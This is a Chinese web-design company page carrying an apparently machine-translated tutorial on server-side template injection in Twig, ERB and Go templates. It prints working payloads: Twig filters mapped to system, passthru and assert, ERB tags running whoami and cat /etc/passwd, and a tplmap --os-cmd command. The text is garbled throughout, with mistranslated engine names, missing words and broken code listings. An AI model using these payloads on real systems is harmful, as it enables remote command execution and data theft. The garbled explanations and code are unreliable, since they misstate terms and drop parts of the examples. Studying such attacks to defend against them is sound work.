宿迁腾云网络网站建设公司

腾云网络 八年经验专注网站建设
  • 首页
  • 服务项目
    • 网站建设
    • 微信小程序
    • APP开发
    • SEO优化
  • 建站费用
  • 成功案例
    • 网站建设案例
    • 小程序案例
    • APP开发案例
    • SEO优化案例
  • 行业动态
    • 网站建设
    • SEO优化
    • 技术日志
  • 联系我们
    • 关于我们
首页 > 行业动态 > 技术日志 > php代码注入漏洞 PHP模板引擎和注入漏洞Twig(PHP)(图)php代码注入

php代码注入漏洞 PHP模板引擎和注入漏洞Twig(PHP)(图)php代码注入

2022-04-27

SSTI简介

MVC

MVC是一种框架模式,全称是View。

即模型()-视图(视图)-控制器()

在MVC指导下的开发中,采用业务逻辑、数据、界面展示分离的方式组织代码,将业务逻辑聚合成一个组件。在改进和定制界面和用户交互的同时php代码注入漏洞,更具有良好的开发和维护效率。

在MVC框架中,通过View接收用户的输入,交出,然后通过调用或者其他的方式处理,最后返回给View,这样最终展现在我们面前,那么这里的View将广泛使用一种称为模板的技术。

绕过服务器接收用户的恶意输入后,作为Web应用程序模板内容的一部分,不做任何处理,模板引擎执行用户插入的模板,可以在执行过程中破坏模板目标编译和渲染过程。语句,会导致敏感信息泄露、代码执行等。

虽然市场上关于SSTI的大部分问题都在上面,但请不要以为这种攻击方式只存在于.无论在何处使用模板,都可能出现 SSTI 问题。 SSTI 不属于任何一种语言。

常见的模板引擎和注入漏洞

树枝(PHP)

首先介绍带有Twig模板引擎的SSTI。很多情况下,SSTI发生在用户输入直接作为模板的时候,比如下面的代码

 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello {$_GET['name']}!");
echo $template->render();

注入$_GET['name']时,会触发SSTI

下面的代码没有,因为模板引擎解析的是字符串常量中的{{name}},而不是动态拼接的$_GET["name"]

 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', array("name" => $_GET["name"]));

对于模板引擎的使用,经常会使用模板中的一些方法来达到攻击的目的,比如Twig中的 map

一个经典的例子

{{["man"]|map((arg)=>" #{arg}")}}

会这样编译

([0 => "id"], ($) 使用 ($, $) { $["arg"] = $; (" " . ($["arg"] ?? null))

p>

关于这个,源码是这样的

可以看到传入的$是作为函数执行的,所以不用传递,直接传递一个字符串,找到一个带两个参数的危险函数,可以通过命令执行

例如

{{["id"]|map("system")|join(",")}}
{{["phpinfo();"]|map("assert")|join(",")}}
{{["id", 0]|map("passthru")}}

同样的,我们也可以找到一些其他的过滤器排序,网上也有介绍,不再赘述。

当然,SSTI 也有一个基本的方法来使用它来泄漏源代码和程序环境中的上下文信息。在Twig引擎中网站模板,我们可以通过以下方法获取当前应用的一些信息

{{_self}} #指向当前应用
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

ERB(红宝石)

相比Twig,ERB的代码直接提供了一些命令执行接口,比如

<%= system("whoami") %>
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>

这里主要是介绍一些模板标签的分类

例如这里使用ERB模板标签,Twig使用{{}}。根据一些简单的poc和tag分类,我们可以快速识别出是否存在模板漏洞以及使用的模板引擎技术

当然有些模板引擎标签是可以自定义的,上面列出的只是默认的

SSTI

关于 SSTI 的研究仍然相对较少网站制作,可能是因为它被设计为更安全。

但是通过 {{.}} 我们可以得到范围

如下例所示

package main
import (
    "html/template"
    "net/http"
)
func handler(w http.ResponseWriter, r *http.Request) {
    //var name = ""
    r.ParseForm() // Parses the request body
    x := r.Form.Get("name")
    var test map[string]interface{}
    test = make(map[string]interface{})
    var secret map[string]interface{}
    secret = make(map[string]interface{})
    flag := "flag{testflag}"
    secret["flag"] = &flag
    test["secret"] = secret
    var tmpl = `
First name:

` + x + `

` t := template.New("main") //name of the template is main t, _ = t.Parse(tmpl) // parsing of template string t.Execute(w, test) } func main() { server := http.Server{ Addr: "0.0.0.0:5090", } http.HandleFunc("/", handler) server.ListenAndServe() }

可以获取范围对象

进一步拿到flag

即使作用域内有可利用的函数,我们也可以调用该函数来完成攻击php代码注入漏洞,比如

type User struct {
    ID       int
    Email    string
    Password string
}
func (u User) System(test string) string {
    out, _ := exec.Command(test).CombinedOutput()
    return string(out)
}

有

/

这个引擎应该出镜率最高,能写很多东西。限于篇幅,具体内容将记录在(下)中。

常用检测工具

工具地址:

符合设计风格,直接拍就行了

/tplmap.py --os-cmd -u 'http://www.target.com/page?name=John'

总结

SSTI 是 MVC 架构中常见的问题类型。除了本文介绍的几个引擎外,还有很多受影响的引擎,例如 .这个问题主要是开发者直接将用户输入作为模板交给模板引擎渲染造成的。将用户输入绑定到模板的参数可以缓解这个问题。通过SSTI,我们往往可以获取程序运行的上下文,甚至可以利用模板引擎的内置方法完成远程代码注入等高危攻击。

我整理了有关网络安全的学习资料和指导书

Tag: twig php模板引擎 php
网站制作公众号

宿迁腾云网络网站建设公司 | 网站开发 | 网站制作 | 网站优化

咨询电话:13160355545

上一篇

返回栏目

下一篇

免责声明:本站所有文章和图片均来自用户分享和网络收集,文章和图片版权归原作者及原出处所有,仅供学习与参考,请勿用于商业用途,如果损害了您的权利,请联系网站客服处理。

热推

  • Web前端工程师需要学习那些编程语言?前的web前端
  • 实例讲述PHP编程快速实现数组去重复函数与使用技巧
  • php网站后门检测首发于奇安信攻防社区文章地址:D盾专杀工具选择 网站挂马检测 php
  • 2020年这9大顶级Java框架,你想知道吗?
  • php框架排名重构PHP应用程序框架的特点及特点:缓存管理、自定义URLsphp 论坛框架
  • 多维能用数字使用加密加密加强混淆和还原的思路
  • PHP 7 的 PHP-FPM 存在远程代码执行漏洞!
  • 后盾php视频教程第一部之php博客项目实战开发京东健康2020总收入同比增长78.8%在线问诊也暴露出php框架开发 实战视频教程
  • php代码在线格式化工具:格式化的时间默认为当前时间*@格式化php代码
  • PHP+MYSQL优化总结让您的网站如飞一般加速

相关

PHP IDEs与PHP CLI工具:助力高效PHP开发,满

PHP IDEs与PHP CLI工具:助力高效PHP开发,满

什么是PHP?其优势有简单易学、安全性高、开发效率高及社区活

什么是PHP?其优势有简单易学、安全性高、开发效率高及社区活

深入学习PHP编程基础与高级技术,掌握数字时代开发技能

PHP中七个常用框架介绍,详细解读ThinkPHP及其他框架

Science Technology:PHP开发平台发展历程

Science Technology:PHP开发平台发展历程

了解常见PHP应用程序安全威胁,掌握6个常见安全性攻击

了解常见PHP应用程序安全威胁,掌握6个常见安全性攻击

如何查看php版本?多种方法助你快速知晓

如何查看php版本?多种方法助你快速知晓

PHP格式化:提升代码质量与协作效率的关键规则

如何查看虚拟主机上的 PHP 版本?这篇文章告诉你

Linux 系统管理员和 web 开发者必知:如何查看 PH

Linux 系统管理员和 web 开发者必知:如何查看 PH

标签

seo(1182) 市场营销(661) 网站制作(573) 网站建设(564) 搜索引擎(553) 网站(482) PHP(361) 编程语言(345) 建站(294) 关键词排名优化(267) 网站建设公司(245) 优化(216) seo排名(207) 域名(190) 软件(171) 网站优化(148) 搜索引擎优化(146) 外链(141) 科技(136) 网站关键词(124) 网站排名优化(123) 域名服务器(120) 网站排名(107) 时政(103) 排名优化(95) 搜索引擎收录(93) 网站设计(92) 电子商务(88) 引擎(86) 移动互联网(85) 开发框架(79) 开发(75) 网站服务器(74) 框架(68) 前端开发(68) 网站分析(66) 网站建设方案(65) 关键(64) 流量(63) 源码(62) 百度优化(62) 网站权重(61) 开放源代码(59) seo培训(53) 网页设计(51) 百度(51) php框架(50) 网站建设知识(50) 大数据(50) 谷歌(49)
宿迁腾云网络网站建设公司
网站建设
  • 私人定制
  • 标准模板建站
  • 经济模板建站
精品模板

宿迁腾云网络网站建设公司

联系电话:13160355545

公司地址:江苏省宿迁市丽景湾华庭北门都市花园公寓9楼907

联系邮箱:admin@tyweb.net

全国分站
  • 北京
  • 广东
  • 东莞 广州 中山 深圳 惠州 江门 珠海 汕头 佛山 湛江 河源 肇庆 潮州 清远 韶关 揭阳 阳江 云浮 茂名 梅州 汕尾
  • 山东
  • 济南 青岛 临沂 济宁 菏泽 烟台 泰安 淄博 潍坊 日照 威海 滨州 东营 聊城 德州 莱芜 枣庄
  • 江苏
  • 苏州 徐州 盐城 无锡 南京 南通 连云港 常州 扬州 镇江 淮安 泰州 宿迁
  • 河南
  • 郑州 南阳 新乡 安阳 洛阳 信阳 平顶山 周口 商丘 开封 焦作 驻马店 濮阳 三门峡 漯河 许昌 鹤壁 济源
  • 上海
  • 河北
  • 石家庄 唐山 保定 邯郸 邢台 沧州 秦皇岛 张家口 衡水 廊坊 承德
  • 浙江
  • 温州 宁波 杭州 台州 嘉兴 金华 湖州 绍兴 舟山 丽水 衢州
  • 陕西
  • 西安 咸阳 宝鸡 汉中 渭南 安康 榆林 商洛 延安 铜川
  • 湖南
  • 长沙 邵阳 常德 衡阳 株洲 湘潭 永州 岳阳 怀化 郴州 娄底 益阳 张家界 湘西
  • 重庆
  • 福建
  • 漳州 泉州 厦门 福州 莆田 宁德 三明 南平 龙岩
  • 天津
  • 云南
  • 昆明 红河 大理 文山 德宏 曲靖 昭通 楚雄 保山 玉溪 丽江 临沧 思茅 西双版纳 怒江 迪庆
  • 四川
  • 成都 绵阳 广元 达州 南充 德阳 广安 阿坝 巴中 遂宁 内江 凉山 攀枝花 乐山 自贡 泸州 雅安 宜宾 资阳 眉山 甘孜
  • 广西
  • 贵港 玉林 北海 南宁 柳州 桂林 梧州 钦州 来宾 河池 百色 贺州 崇左 防城港
  • 安徽
  • 芜湖 合肥 六安 宿州 阜阳 安庆 马鞍山 蚌埠 淮北 淮南 宣城 黄山 铜陵 亳州 池州 巢湖 滁州
  • 海南
  • 三亚 海口 琼海 文昌 东方
  • 江西
  • 南昌 赣州 上饶 吉安 九江 新余 抚州 宜春 景德镇 萍乡 鹰潭
  • 湖北
  • 武汉 宜昌 襄樊 荆州 恩施 孝感 黄冈 十堰 咸宁 黄石 仙桃 随州 天门 荆门 潜江 鄂州 神农架
  • 山西
  • 太原 大同 运城 长治 晋城 忻州 临汾 吕梁 晋中 阳泉 朔州
  • 辽宁
  • 大连 沈阳 丹东 辽阳 葫芦岛 锦州 朝阳 营口 鞍山 抚顺 阜新 本溪 盘锦 铁岭
  • 黑龙江
  • 齐齐哈尔 哈尔滨 大庆 佳木斯 双鸭山 牡丹江 鸡西 黑河 绥化 鹤岗 伊春 大兴安岭 七台河
  • 内蒙古
  • 赤峰 包头 通辽 呼和浩特 乌海 鄂尔多斯 呼伦贝尔
  • 贵州
  • 贵阳 黔东 黔南 遵义 黔西 毕节 铜仁 安顺 六盘水
  • 甘肃
  • 兰州 天水 庆阳 武威 酒泉 张掖 陇南 白银 定西 平凉 嘉峪关 临夏 金昌 甘南
  • 青海
  • 西宁 海西 海东 海北 果洛 玉树 黄南
  • 新疆
  • 乌鲁木齐 伊犁 昌吉 石河子 哈密
  • 西藏
  • 拉萨 山南 林芝 日喀则
  • 吉林
  • 长春 白山 白城 延边 松原 辽源 通化 四平
  • 宁夏
  • 银川 吴忠 中卫 石嘴山 固原
SiteMap
网站地图
TAG标签
Copyright © 2017-2025 TYWEB.NET 宿迁腾云网络科技有限公司 ALL RIGHTS RESERVED.   苏ICP备17033535号-1

热门搜索

百度 下载 2025 2024 2026 货源 货货源 虚拟 禅道 报名 金蝶KIS旗舰版
  • 客服

    在线客服

  • 电话

    13160355545

  • 微信

精品模板
建站费用
成功案例
联系我们